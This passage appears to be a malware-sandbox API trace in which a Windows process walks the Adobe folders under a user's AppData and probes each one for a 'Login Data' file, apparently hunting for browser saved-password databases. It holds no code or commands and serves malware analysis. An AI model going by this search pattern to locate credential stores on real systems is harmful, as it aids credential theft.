ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0199.436] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.436] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.437] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0199.437] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.437] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0199.437] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.437] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0199.438] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0199.438] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 0 [0199.438] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0199.438] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.438] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0199.439] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.439] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.439] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0199.439] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.439] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.440] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.440] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0199.440] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 0 [0199.440] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.440] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.441] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b278 [0199.441] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.441] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0199.441] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 0 [0199.442] FindClose (in: hFindFile=0x139b278 | out: hFindFile=0x139b278) returned 1 [0199.442] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x12feb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x25 [0199.442] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Login Data", lpFindFileData=0x12fede4 | out: lpFindFileData=0x12fede4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.443] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0199.443] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.443] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0199.443] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe5380e4e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe5380e4e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0199.443] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Headlights", cAlternateFileName="HEADLI~1")) returned 1 [0199.444] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0199.444] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 1 [0199.444] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 1 [0199.444] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 0 [0199.444] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0199.444] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.444] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.445] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.445] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0199.445] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0199.445] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.445] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.445] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0199.445] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.446] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0199.446] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0199.446] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSCache", cAlternateFileName="")) returned 1 [0199.446] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, 